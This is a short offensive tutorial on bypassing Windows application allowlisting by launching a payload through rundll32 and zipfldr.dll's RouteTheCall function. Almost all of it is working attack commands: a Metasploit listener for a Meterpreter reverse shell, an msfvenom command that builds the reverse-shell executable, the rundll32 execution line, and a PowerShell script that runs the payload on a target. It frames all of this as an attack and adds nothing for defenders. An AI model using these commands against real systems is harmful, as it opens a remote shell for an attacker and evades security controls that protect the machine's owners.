Obtaining Shell Access by Executing a Payload with the Allowlisted zipfldr.dll

Environment

Related Script

Introduction to zipfldr.dll:

• zipfldr.dll has been included with Windows xp and later systems as a component for compressing and extracting zip files.

• Note: The directory containing zipfldr.dll has been added to the PATH environment variable, so the zipfldr.dll command can be recognized. Because it is a dll file, however, rundll32.exe must be invoked to execute it.

• Default locations on Windows 2003 :

C:\Windows\System32\zipfldr.dll

C:\Windows\SysWOW64\zipfldr.dll

Configure MSF on the Attacker Host

Start a listener on the attacker host:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4444
set lhost 10.10.10.93
exploit

Generate the payload file:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.10.10.93 LPORT=4444 -f exe > reverse.exe

Execute on the Target Host

Execute on the target host and receive a reverse shell

rundll32.exe zipfldr.dll,RouteTheCall reverse.exe

One-click powershell execution script:

$rundll32_path = "C:\Windows\SysWOW64\rundll32.exe"
$malicious_dll_path = "C:\Users\aesteam3\Desktop\reverse.exe"
Start-Process -FilePath $rundll32_path -ArgumentList "zipfldr.dll,RouteTheCall $malicious_dll_path"